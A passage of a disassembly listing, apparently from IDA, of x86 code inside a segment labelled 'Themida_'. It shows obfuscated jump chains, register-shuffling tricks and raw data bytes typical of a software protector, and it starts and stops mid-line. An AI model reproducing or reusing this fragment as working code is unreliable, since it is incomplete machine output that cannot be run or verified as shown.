ebx jmp loc_58E473 ; --------------------------------------------------------------------------- loc_594C1F: ; CODE XREF: Themida_:0058C878j jle loc_590156 not edi add edi, 70AC2BC7h jmp loc_593A9D ; --------------------------------------------------------------------------- loc_594C32: ; CODE XREF: Themida_:00595CB5j xor [esp], esi jmp loc_593BD1 ; --------------------------------------------------------------------------- dw 0EB83h dd 241C8702h, 0E924248Bh, 0FFFFC9E7h ; --------------------------------------------------------------------------- loc_594C48: ; CODE XREF: Themida_:0058B7A8j jmp loc_58B37B ; --------------------------------------------------------------------------- db 30h, 0F1h, 30h dd 0FEF130CEh, 4EC83C9h, 0FFFCCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_594C5D: ; CODE XREF: Themida_:00596F48j pop esp shr ecx, 2 push ebx jmp loc_58DB79 ; --------------------------------------------------------------------------- loc_594C67: ; CODE XREF: Themida_:0058B623j push esi jmp loc_58D6CE ; --------------------------------------------------------------------------- loc_594C6D: ; CODE XREF: Themida_:00593CFDj shl ecx, 6 push ebx mov ebx, 77453FA6h jmp loc_58DBEE ; --------------------------------------------------------------------------- loc_594C7B: ; CODE XREF: Themida_:00590695j pop ebx pop edx push dword ptr [esp] pop ecx add esp, 4 loc_594C84: ; CODE XREF: Themida_:0058BE77j push edi jmp loc_58C2A3 ; --------------------------------------------------------------------------- dw 3487h dd 0D0895C24h, 0FFFBC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_594C95: ; CODE XREF: Themida_:005922C4j xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_5947BE ; --------------------------------------------------------------------------- dd 676CC681h, 0C681305Dh, 0E0C9FDD5h, 151EE9h db 0 ; --------------------------------------------------------------------------- loc_594CB5: ; CODE XREF: Themida_:0059416Dj pop edx sub al, cl jmp loc_5900B2 ; --------------------------------------------------------------------------- db 5Fh, 87h, 1Ch dd 0C8845C24h, 66B1E99Ch, 0E9E9FFFFh, 66FFFFAAh, 6608E7C1h dd 6605E7C1h, 26A4E781h, 58C78166h, 664F6605h, 43B86650h dd 0C7316653h, 0E1E95866h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594CF3: ; CODE XREF: Themida_:00594536j dec ebx jge loc_58D2C7 sub ebx, 33AA6E9Bh mov ecx, ebx pop ebx sub ebp, ecx mov bh, bl jnz loc_593795 and eax, 7E55142h jge loc_58F3A6 pop esp loc_594D19: ; CODE XREF: Themida_:0058E3B2j mov esp, [esp] idiv cl jmp loc_591B8F ; --------------------------------------------------------------------------- loc_594D23: ; CODE XREF: Themida_:0058F118j add esi, 4 jmp loc_593F24 ; --------------------------------------------------------------------------- loc_594D2E: ; CODE XREF: Themida_:0058B765j jl loc_58B6AE push ecx jmp loc_58FA77 ; --------------------------------------------------------------------------- loc_594D3A: ; CODE XREF: Themida_:0058B8E6j neg eax add eax, 3EE84735h sub eax, 3AAB7FF5h jmp loc_593250 ; --------------------------------------------------------------------------- db 57h dd 0EE23F9BFh, 0DBC7811Bh, 1F362E4h, 0BCDEE9F8h, 0C3FEFFFFh dd 0C3FEC3FEh, 0E9B8F380h, 0FFFFF8E9h ; --------------------------------------------------------------------------- loc_594D6C: ; CODE XREF: Themida_:00592F48j xor esi, 1E1179ADh jmp loc_58D122 ; --------------------------------------------------------------------------- byte_594D77 db 66h ; DATA XREF: Themida_:0058B2A0o dd 6824048Bh, 757Ah, 89243C89h, 0BA63E9E7h, 0EA81FFFFh dd 0E550EF7h, 186FE9h, 148B6600h, 2C48124h, 30000000h dd 30C630F0h, 240430F0h, 30240432h, 0C8E92404h db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594DB3: ; CODE XREF: Themida_:0058F137j mov dh, 0BFh jmp loc_58B504 ; --------------------------------------------------------------------------- loc_594DBA: ; CODE XREF: Themida_:00596B34j push edx mov edx, 4 jmp loc_58C72D ; --------------------------------------------------------------------------- db 0Fh, 85h, 9Dh dd 52000021h, 0FF96E9E9h, 0FD8F7FFh, 0FFACAC80h db 0FFh ; --------------------------------------------------------------------------- loc_594DD9: ; CODE XREF: Themida_:005935FCj push esp pop edx add edx, 4 push ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] mov esp, [esp] jmp loc_58F85E ; --------------------------------------------------------------------------- db 0C0h, 0EAh, 8 dd 5306EAC0h, 9DE93FB3h, 81FFFFD9h, 42404h, 535D0000h dd 468h, 0DD015B00h, 0FFACBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_594E19: ; CODE XREF: Themida_:0059765Dj pop esp push 4391h mov [esp], edi push ecx mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59591D ; --------------------------------------------------------------------------- dw 8B54h dd 0E7E9240Ch db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594E43: ; CODE XREF: Themida_:005950F0j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, ebp pop ebp and eax, ecx mov ecx, [esp] push 6BCEh mov [esp], ebp push 58Fh mov [esp], esp jmp loc_595B5A ; --------------------------------------------------------------------------- byte_594E73 db 66h ; DATA XREF: Themida_:0058B2A4o dd 0E924248Bh, 0FFFF64FFh dword_594E7C dd 68h, 2434FF00h, 0E189515Bh, 4EC81h, 4890000h, 1FA3B824h ; DATA XREF: Themida_:0058B2F0o dd 0AE2D2FB1h, 35755776h, 0BA59A8F1h, 6858C101h, 4D36h dd 0BF243C89h, 4, 163FE9h, 81D2F700h, 90012AF2h, 5AD029BDh dd 83240C8Bh, 476804C4h, 8900004Eh, 56B9240Ch, 81590028h dd 966EDDC9h, 44BF5772h, 1470B6Dh, 0F1875FF9h, 0B7C0E94Eh db 2 dup(0FFh) word_594EEA dw 34FFh ; DATA XREF: Themida_:0058B138o dd 0BD5FE924h, 6866FFFFh, 8DE9408Fh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_594EFB: ; CODE XREF: Themida_:00593B1Cj xor ebx, 10E9A180h mov ebp, ebx pop ebx or ebp, 0ADC3427h sub ebp, 1FFF37FEh jmp loc_591851 ; --------------------------------------------------------------------------- db 0E9h, 0B9h, 0DCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594F1A: ; CODE XREF: Themida_:0058FE89j add ebp, edi pop edi and ebp, 30974A11h add ebp, 4BF12B03h sub ebp, 740E5521h push edx push 0F81B2211h pop edx add ebp, 67712331h jmp loc_58E983 ; --------------------------------------------------------------------------- loc_594F41: ; CODE XREF: Themida_:0058BC96j add dword ptr [esp], 4 jmp loc_58BCA9 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 0FFD032E9h, 28FFB3FFh, 0C05B66DAh, 0EA8007EAh, 664C2C96h dd 96B551h, 0A427E9E8h, 3166FFFFh, 665966CAh, 665AD789h dd 6603EFC1h, 6607EFC1h, 1E47F781h, 8BEF8166h, 2BE5E99Eh dd 0E6680000h, 0E9000045h, 0FFFFBD24h ; --------------------------------------------------------------------------- loc_594F98: ; CODE XREF: Themida_:005949E9j mov ebp, esp add ebp, 4 jmp loc_598014 ; --------------------------------------------------------------------------- db 89h, 0E6h, 55h dd 0A0090DBDh, 5EBB5356h, 0E9059B51h, 0FFFF7BE6h ; --------------------------------------------------------------------------- loc_594FB8: ; CODE XREF: Themida_:00594138j add cl, bl sub cl, 0F8h pop ebx jmp loc_5923B1 ; --------------------------------------------------------------------------- loc_594FC3: ; CODE XREF: Themida_:005916B8j mov eax, esp add eax, 4 add eax, 4 jmp loc_58DF13 ; --------------------------------------------------------------------------- loc_594FD2: ; CODE XREF: Themida_:0058F083j add dword ptr [edi+20h], 50365834h mov ebx, [esp] add esp, 4 push dword ptr [edi+20h] xchg edx, [esp] push edx not dword ptr [esp] pop edx xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_59072B ; --------------------------------------------------------------------------- db 8Bh dd 48B2424h, 2F126824h, 4890000h, 56E08924h, 0FD169BBEh dd 0D3C6812Fh, 0E97C3A7Dh, 0FFFFD877h dword_59501C dd 240C8B66h, 4EC8152h, 89000000h, 4812424h, 424h, 0C2815A00h ; DATA XREF: Themida_:0058B2D8o dd 4, 0FFB49BE9h db 0FFh ; --------------------------------------------------------------------------- loc_59503D: ; CODE XREF: Themida_:0058DEF9j mov edx, 0CB36778h mov ecx, 11B1895Eh sub ecx, edx pop edx sub ebx, ecx pop ecx push ecx mov ecx, 73FA3899h sub ebx, ecx pop ecx sub ebx, eax add ebx, 73FA3899h push esi mov esi, 0E030076h jmp loc_58F0B1 ; --------------------------------------------------------------------------- loc_595069: ; CODE XREF: Themida_:005977CEj sub esp, 4 jmp loc_5902EC ; --------------------------------------------------------------------------- dd 8B242C33h, 0FCE92424h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59507F: ; CODE XREF: Themida_:00591B8Aj ; Themida_:005924B8j pop esi jmp loc_592444 ; --------------------------------------------------------------------------- loc_595085: ; CODE XREF: Themida_:0058B433j and ebp, 0D193BFFh inc ebp add ebp, 3DC2D8E4h add eax, ebp jmp loc_58BE9E ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 6853E689h, 123Bh, 0BD242C89h, 79C446FDh, 283EE581h dd 68500C99h, 8800038h, 8324048Bh, 0C53104C4h, 0FFB399E9h db 0FFh ; --------------------------------------------------------------------------- loc_5950C5: ; CODE XREF: Themida_:00591F0Bj pop ebp jmp loc_594322 ; --------------------------------------------------------------------------- loc_5950CB: ; CODE XREF: Themida_:00593F27j pop esp mov eax, [esp] push edx push esp pop edx jmp loc_59450E ; --------------------------------------------------------------------------- loc_5950D7: ; CODE XREF: Themida_:0058DA53j add esi, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_596FE7 ; --------------------------------------------------------------------------- loc_5950ED: ; CODE XREF: Themida_:005957BAj mov eax, [esp] jmp loc_594E43 ; --------------------------------------------------------------------------- db 81h, 0EEh, 34h dd 2965C857h, 34C681EEh, 0E965C857h, 0FFFF88F0h ; --------------------------------------------------------------------------- loc_595108: ; CODE XREF: Themida_:005960A7j add eax, 2 xchg eax, [esp] pop esp movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59511C: ; CODE XREF: Themida_:0058E343j pop edi sub esp, 4 mov [esp], ecx mov ecx, esi mov edx, ecx pop ecx jmp loc_59796B ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 815D0000h, 4D4F36E9h, 81D9017Fh, 4D4F36C1h dd 0A0E95B7Fh, 5BFFFFB5h, 194BE9h, 800EB100h, 0B3E9A2C1h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_59515B: ; CODE XREF: Themida_:00595670j mov [esp], edx push 1937h mov [esp], edi jmp loc_58D68C ; --------------------------------------------------------------------------- db 87h dd 248B2404h, 242CD324h, 6201E99Ch, 0A368FFFFh, 8900004Bh dd 18B5240Ch, 81FFC580h, 4ECh, 241C8900h, 8850EF88h, 88D4F6FCh dd 0F5FEE9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59519E: ; CODE XREF: Themida_:00590D44j push 32A2h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_597D52 ; --------------------------------------------------------------------------- loc_5951B3: ; CODE XREF: Themida_:00597B25j sub edi, 4 xchg edi, [esp] pop esp jmp loc_591DBF ; --------------------------------------------------------------------------- loc_5951C2: ; CODE XREF: Themida_:00596F63j mov esi, [esp] add esp, 4 push ebp mov ebp, 4 add esi, 36C90AF4h add esi, ebp jmp loc_590A47 ; --------------------------------------------------------------------------- dw 0F780h dd 642C7Fh, 0ADB252F8h, 0FFB546E9h db 0FFh byte_5951ED db 83h, 0ECh, 4 ; DATA XREF: Themida_:0058B2E0o dd 0B8240489h, 1CA01AF9h, 1F81BD55h, 0EDC15C58h, 76CD8108h dd 0E9717868h, 0FFFF7B2Bh ; --------------------------------------------------------------------------- loc_59520C: ; CODE XREF: Themida_:00595AFBj mov [esp], edx push 14E87DCFh pop edx sub edx, 99C107Fh jmp loc_58EE91 ; --------------------------------------------------------------------------- loc_595220: ; CODE XREF: Themida_:0058ED00j mov bh, 0FFh sub dh, bh jmp loc_595354 ; --------------------------------------------------------------------------- loc_595229: ; CODE XREF: Themida_:00593A87j mov [esp], ebp jmp loc_596EB9 ; --------------------------------------------------------------------------- loc_595231: ; CODE XREF: Themida_:loc_5970DEj or eax, 1FF07952h jle loc_598625 jmp loc_595D07 ; --------------------------------------------------------------------------- loc_595241: ; CODE XREF: Themida_:loc_59805Cj shl bl, 7 js loc_58BFE8 jmp loc_595E28 ; --------------------------------------------------------------------------- loc_59524F: ; CODE XREF: Themida_:00595C97j push ecx mov ecx, esp push ebx push 4 jmp loc_58E4AB ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FFCA6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_595265: ; CODE XREF: Themida_:0058D039j push ebp jmp loc_58C9BE ; --------------------------------------------------------------------------- db 0C0h dd 0EA8003E2h, 5AD728E2h, 88B151h, 0F82859C8h, 1C8B882Ch dd 4C48124h, 52000000h, 0EE80ECB6h, 99E8E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595292: ; CODE XREF: Themida_:loc_58D6CEj ; Themida_:005982CAj mov [esp], ebx mov ebx, 24h sub ebx, 1B820A59h add ebx, edi jmp loc_58C759 ; --------------------------------------------------------------------------- loc_5952A7: ; CODE XREF: Themida_:005939B6j sub edx, 357F06F1h sub edx, ebx add edx, 357F06F1h mov ebx, edx pop edx xor ebx, 5D0B9C5Dh sub ebp, ebx pop ebx not ebp push ecx mov ecx, 6D5A0067h add ebp, ecx mov ecx, [esp] add esp, 4 shl ebp, 7 push eax mov eax, 25862339h or ebp, eax push dword ptr [esp] pop eax push 2AE0h mov [esp], eax mov eax, esp add eax, 4 jmp loc_58BE93 ; --------------------------------------------------------------------------- loc_5952F4: ; CODE XREF: Themida_:loc_58E0B7j shl ebx, 8 neg ebx push esi jmp loc_596212 ; --------------------------------------------------------------------------- db 81h dd 2CE2242Ch, 70E9536Bh db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59530B: ; CODE XREF: Themida_:0058BCB0j push ecx mov ecx, 60972A0Fh jmp loc_58F1DD ; --------------------------------------------------------------------------- dw 2C33h dd 24248B24h, 0E9E28952h, 0FFFF922Ah, 0BAh, 0E9DA0100h dd 0FFFF76AAh ; --------------------------------------------------------------------------- loc_595330: ; CODE XREF: Themida_:00593122j jp loc_594B2F inc ebx jge loc_58E717 jmp loc_5978A0 ; --------------------------------------------------------------------------- dw 0EF8Ah dd 0E2C1DAF7h, 0CAF28107h, 0E9D91957h, 0FFFFF450h ; --------------------------------------------------------------------------- loc_595354: ; CODE XREF: Themida_:00595224j mov bx, [esp] jmp loc_59754F ; --------------------------------------------------------------------------- loc_59535D: ; CODE XREF: Themida_:0059179Dj add esp, 4 sub eax, 3DCE7B7Ah jmp loc_596C2D ; --------------------------------------------------------------------------- word_59536A dw 31ADh ; DATA XREF: Themida_:0058B32Co dd 4EC83D8h, 81243489h, 4ECh, 24148900h, 0D315DEBAh, 70E94208h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595387: ; CODE XREF: Themida_:005972FAj pop esp or eax, eax jnz loc_592224 sub esp, 4 mov [esp], eax push ebp jmp loc_58CEF8 ; --------------------------------------------------------------------------- loc_59539F: ; CODE XREF: Themida_:loc_591B60j ; Themida_:005961CEj shr cl, 6 push edx jmp loc_58FB32 ; --------------------------------------------------------------------------- dd 53F0055Eh, 46E96639h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5953B3: ; CODE XREF: Themida_:0059379Aj xor eax, 0CC2C7F0Ch mov esi, eax pop eax add esi, edx pop edx mov edx, 603837B0h sub edx, esi pop esi add eax, 18E838BBh jmp loc_59238C ; --------------------------------------------------------------------------- loc_5953D0: ; CODE XREF: Themida_:005942A2j jmp loc_58B37B ; --------------------------------------------------------------------------- db 0B1h, 9Bh, 0E9h dd 0FFFF969Ah ; --------------------------------------------------------------------------- loc_5953DC: ; CODE XREF: Themida_:loc_58E77Cj not eax push edx mov edx, 55D41E9Dh sub edx, 0B974B33h and edx, 6B45771Ah dec edx push edx not dword ptr [esp] pop edx xor edx, 3DE5DBE5h sub eax, edx pop edx sub esp, 4 jmp loc_591E9A ; --------------------------------------------------------------------------- dw 0F281h dd 4DF56A74h, 1571E9h, 35380D00h, 0E8E94F7Ch, 0C1FFFFF8h dd 0F58108E5h, 0D78E6573h, 895DEE31h, 6869E9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595432: ; CODE XREF: Themida_:0058F656j shr ebp, 6 push esi jmp loc_5918CC ; --------------------------------------------------------------------------- loc_59543B: ; CODE XREF: Themida_:0058FEEFj mov edi, [esp] add esp, 4 jmp loc_58DF08 ; --------------------------------------------------------------------------- dw 2Dh aAsiXs db 'Л─И┴аXИ/$',0 dw 8100h dd 240E27F6h, 0BDEE8145h, 8170332Eh, 8CD7A3F6h, 0E2ECE9B8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59546A: ; CODE XREF: Themida_:0058DA09j mov dh, bh jmp loc_58DC7F ; --------------------------------------------------------------------------- db 54h, 8Bh, 14h dd 4C48124h, 81000000h, 4C2h, 4EA8100h, 0E9000000h, 0FFFF70A9h dd 31241C33h, 1C33241Ch, 4895C24h, 5E08924h, 4, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 4BA2414h, 1000000h dd 32E95AD0h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5954C3: ; CODE XREF: Themida_:0058F93Dj mov ax, [esp] add esp, 2 pop edx movzx eax, al push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_58EA92 ; --------------------------------------------------------------------------- loc_5954E2: ; CODE XREF: Themida_:00591EF2j sub ebp, 139CB8E3h sub ebx, ebp pop ebp push ebp jmp loc_59774C ; --------------------------------------------------------------------------- loc_5954F1: ; CODE XREF: Themida_:00592ED1j add edx, 4 sub edx, 4 push edx jmp loc_5967EA ; --------------------------------------------------------------------------- db 29h dd 348B2434h, 4C48124h, 0F7000000h, 81DEF7DEh, 0EF3482C6h dd 5EF22912h, 0CE9DA87h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595523: ; CODE XREF: Themida_:00591B17j ; Themida_:005955D4j sub edi, 0FFFFFFFFh or edi, 68ED47C5h jnz loc_58BB09 dec edi js loc_58B5ED mov dl, 0A0h push eax loc_59553C: ; DATA XREF: Themida_:0058B1F4o mov cx, [esp] push 69FDh jmp loc_58D50E ; --------------------------------------------------------------------------- dw 8752h dd 0D0F72404h, 0FFD26AE9h, 2C8B54FFh, 4C48124h, 83000000h dd 2C8904ECh, 28E95424h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59556B: ; CODE XREF: Themida_:005965A3j add esp, 4 sub esi, ebx push dword ptr [esp] pop ebx add esp, 4 add esi, eax add esi, 2B6A3E7Ah sub esp, 4 mov [esp], esi jmp loc_58C026 ; --------------------------------------------------------------------------- loc_59558D: ; CODE XREF: Themida_:005935B0j mov [esp], dx mov dl, bh not dl mov bh, dl jmp loc_58E95E ; --------------------------------------------------------------------------- loc_59559C: ; CODE XREF: Themida_:0058BEE4j push edi mov edi, 2 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] cmp cl, al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5955B9: ; CODE XREF: Themida_:005971DAj add esp, 4 jmp loc_594419 ; --------------------------------------------------------------------------- loc_5955C1: ; CODE XREF: Themida_:0058B940j sub [esp], ebp mov ebp, [esp] add esp, 4 jmp loc_58D0E0 ; --------------------------------------------------------------------------- loc_5955CF: ; CODE XREF: Themida_:00596E2Dj add dl, 0C3h and ch, dl jmp loc_595523 ; --------------------------------------------------------------------------- db 0F6h, 0D8h, 0Fh dd 173A8Ah, 0B033E900h, 0E821FFFFh, 0C1D8F75Dh db 0E0h, 8 word_5955EE dw 34FFh ; DATA XREF: Themida_:0058B12Co aS_4 db '$Иу$',0 align 2 dw 0EA81h dd 6F752D81h, 0FFD030E9h, 2AE959FFh db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595607: ; CODE XREF: Themida_:00594224j xchg ecx, edi not ecx xchg ecx, edi push ecx push edi pop ecx pop edi jmp loc_590F88 ; --------------------------------------------------------------------------- loc_595616: ; CODE XREF: Themida_:00594680j xchg ecx, [esp] pop esp jmp loc_592224 ; --------------------------------------------------------------------------- db 0BAh dd 50AC4DADh, 524FBD55h, 0EA315E01h, 8BD0895Dh, 65E92414h dd 81000000h, 4ECh, 24148900h, 0D02821B2h, 0E954535Ah dd 0FFFFF245h ; --------------------------------------------------------------------------- loc_59564C: ; CODE XREF: Themida_:0058EF2Aj pop ecx mov eax, [esp] add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- db 29h dd 240C8BCDh, 4C481h, 85E90000h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59566B: ; CODE XREF: Themida_:0058C100j push 279Eh jmp loc_59515B ; --------------------------------------------------------------------------- loc_595675: ; CODE XREF: Themida_:0059008Cj mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx jmp loc_596530 ; --------------------------------------------------------------------------- dd 8324048Bh, 48B04C4h, 4C48124h, 0E9000000h, 0FFFF9669h dd 9704C483h, 0D197D7F7h, 8E0C1E0h, 0FF80CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5956AD: ; CODE XREF: Themida_:005910F9j pop edx push esi mov esi, 506A52C2h push edx mov edx, 0 jmp loc_594045 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFAA64h, 3358C501h, 2C31242Ch, 242C3324h, 6624248Bh dd 5224048Bh, 0FFD549E9h db 0FFh ; --------------------------------------------------------------------------- loc_5956DD: ; CODE XREF: Themida_:0058E0F6j add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_590C9A ; --------------------------------------------------------------------------- dw 0B850h dd 4, 0FF727BE9h, 5C7DE9FFh, 0CF01FFFFh, 7ABDEF81h, 81590BECh dd 4C7h, 7EE95700h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595713: ; CODE XREF: Themida_:0059054Bj neg edi xor edi, 0D314D7CEh add eax, edi pop edi sub eax, 4 xchg eax, [esp] jmp loc_58DFBF ; --------------------------------------------------------------------------- db 0B9h, 18h, 62h dd 0BB532002h, 3615338Ch, 55ACC381h, 0E3C119A3h, 25E1E908h dd 0BE560000h, 539E7A86h, 309E68h, 24148900h, 8355D968h dd 0EAD15A37h, 757168h, 24348900h, 455046BEh, 4ED6F73Dh dd 8105EEC1h, 32E416C6h, 5EF23156h, 0FFE851E9h db 0FFh ; --------------------------------------------------------------------------- loc_595779: ; CODE XREF: Themida_:00590FECj sub edx, 9D26D58h push dword ptr [esp] pop ebx add esp, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_592695 ; --------------------------------------------------------------------------- loc_595797: ; CODE XREF: Themida_:0058B572j xchg edx, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_58F4BC ; --------------------------------------------------------------------------- loc_5957A5: ; CODE XREF: Themida_:0059424Dj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_590AFF ; --------------------------------------------------------------------------- loc_5957B8: ; CODE XREF: Themida_:005923ACj xor ebp, eax jmp loc_5950ED ; --------------------------------------------------------------------------- db 89h dd 0EC8358C3h, 240C8904h, 5D6402B9h, 0FFCB317Dh, 0D4E92434h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5957D7: ; CODE XREF: Themida_:00590656j push ecx jmp loc_58F6A0 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EDh dd 135C56FBh, 0F7E9EA89h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5957EB: ; CODE XREF: Themida_:00594454j ; DATA XREF: Themida_:0058B274o lodsd sub eax, 22E41B83h jmp loc_58FA2C ; --------------------------------------------------------------------------- dw 34FFh dd 7BADE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5957FE: ; CODE XREF: Themida_:00592073j mov ecx, 4F134504h jmp loc_58B954 ; --------------------------------------------------------------------------- dd 0E905E5C1h, 0CACh ; --------------------------------------------------------------------------- loc_595810: ; CODE XREF: Themida_:0058E686j sub esp, 4 mov [esp], edi mov edi, 38C73E42h jmp loc_58F1B4 ; --------------------------------------------------------------------------- dd 0FD69FCB9h, 6E9C100h, 0C181D1F7h, 5450830h, 8108E1C1h dd 1287FCE9h, 98E95141h db 8Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59583F: ; CODE XREF: Themida_:0059810Aj mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59584C: ; CODE XREF: Themida_:00595E7Aj push eax not dword ptr [esp] pop eax sub eax, 0FFFFFFFFh shl eax, 7 xor eax, 0DFFE9DCAh sub edx, eax pop eax mov eax, [esp] add esp, 4 push edx add dword ptr [esp], 3C6871A7h pop eax sub eax, 3C6871A7h pop edx push edx push 506D6035h pop edx xor edx, 3AE74FB2h xchg ebp, edx inc ebp xchg ebp, edx dec edx shl edx, 1 push edx jmp loc_59114F ; --------------------------------------------------------------------------- loc_595891: ; CODE XREF: Themida_:0058BB26j xor edx, 7160432Dh add eax, edx pop edx sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_58FC92 ; --------------------------------------------------------------------------- loc_5958AA: ; CODE XREF: Themida_:0058EC21j jle loc_596C16 shl ebx, 5 js loc_593CC6 push ebp add esi, 4 jmp loc_591745 ; --------------------------------------------------------------------------- loc_5958C5: ; CODE XREF: Themida_:0058F1AFj pop edx add esp, 4 and ecx, edi pop edi jmp loc_596D2E ; --------------------------------------------------------------------------- loc_5958D1: ; CODE XREF: Themida_:0058D509j ; Themida_:00593DE9j mov esi, 4 add eax, esi push dword ptr [esp] pop esi jmp loc_593C95 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 4BEh, 246C8100h, 844BA04h, 24740179h, 24448104h, 844BA04h dd 2434FF79h, 4C4835Eh, 0FF5A72E9h db 0FFh ; --------------------------------------------------------------------------- loc_595909: ; CODE XREF: Themida_:0058EDA1j and ebx, eax jmp loc_59391A ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 0FF879FE9h db 0FFh ; --------------------------------------------------------------------------- loc_59591D: ; CODE XREF: Themida_:00594E35j xchg ecx, [esp] pop esp push 496h mov [esp], edi jmp loc_5910CE ; --------------------------------------------------------------------------- dw 0C281h dd 74C64F08h, 0EA81CA01h, 74C64F08h, 0A5EA8159h, 167BD7Dh dd 0A5C281DAh, 8167BD7Dh, 9F579FEAh, 241C8B35h, 0FFE98BE9h db 0FFh ; --------------------------------------------------------------------------- loc_595959: ; CODE XREF: Themida_:00592F35j push 57D31D48h pop esi add esi, 0DD6E1A22h jmp loc_58B6AE ; --------------------------------------------------------------------------- loc_59596A: ; CODE XREF: Themida_:00597AA7j pop ebp jmp loc_58CD8B ; --------------------------------------------------------------------------- dd 0DFB6C181h, 0C889D4FBh, 0E9240C8Bh, 0FFFFE793h ; --------------------------------------------------------------------------- loc_595980: ; CODE XREF: Themida_:0058BD54j add edx, 7CF12E18h sub edx, 80F23A89h add eax, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_5979A9 ; --------------------------------------------------------------------------- db 81h dd 1C1EC0CBh, 0E9D3F750h, 0FFFF6C4Eh, 0D380E94Fh, 0E95CFFFFh dd 0FFFF59BBh, 2D64BF57h, 69E9432Ch db 0C1h, 2 dup(0FFh) byte_5959CB db 66h ; DATA XREF: Themida_:0058B174o dd 68240C8Bh, 4C73h, 54240C89h, 0FF9D9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5959DD: ; CODE XREF: Themida_:00590CD6j pop esp jmp loc_594772 ; --------------------------------------------------------------------------- loc_5959E3: ; CODE XREF: Themida_:005936BAj mov edi, 4795759Dh push ebp mov ebp, 70154841h sub edi, ebp jmp loc_592BCD ; --------------------------------------------------------------------------- loc_5959F5: ; CODE XREF: Themida_:005975F9j dec al jo loc_5932E0 add al, 1Eh jmp loc_591B8F ; --------------------------------------------------------------------------- loc_595A04: ; CODE XREF: Themida_:005985C2j sub edi, 988B9C9Ah add ebp, edi pop edi or ebp, 50823CBFh or ebp, 3452030Bh sub ebp, 0A17FECD0h sub ecx, ebp jmp loc_593590 ; --------------------------------------------------------------------------- dw 0D7F7h dd 7D58C781h, 0C7817846h, 0FDD78E98h, 0E95FFB01h, 0FFFF7046h ; --------------------------------------------------------------------------- loc_595A3C: ; CODE XREF: Themida_:005917BAj add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_596FBD ; --------------------------------------------------------------------------- word_595A4E dw 34FFh ; DATA XREF: Themida_:0058B25Co dd 24048B24h, 4EC81h, 1C890000h, 81E38924h, 4ECh, 1F32E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_595A6A: ; CODE XREF: Themida_:0058D1A9j jz loc_58BC3F add esi, 0EEF6FBE8h mov edx, esi pop esi sub edx, 2FD933BDh sub edx, 53E17CC0h jmp loc_5936A5 ; --------------------------------------------------------------------------- dw 0E980h dd 0E980589Ch, 97C980A8h, 0FFC24FE9h, 48151FFh, 451DB324h dd 0E283E954h db 2 dup(0FFh) word_595AA6 dw 77FFh ; DATA XREF: Themida_:0058B300o dd 11589D1Ch, 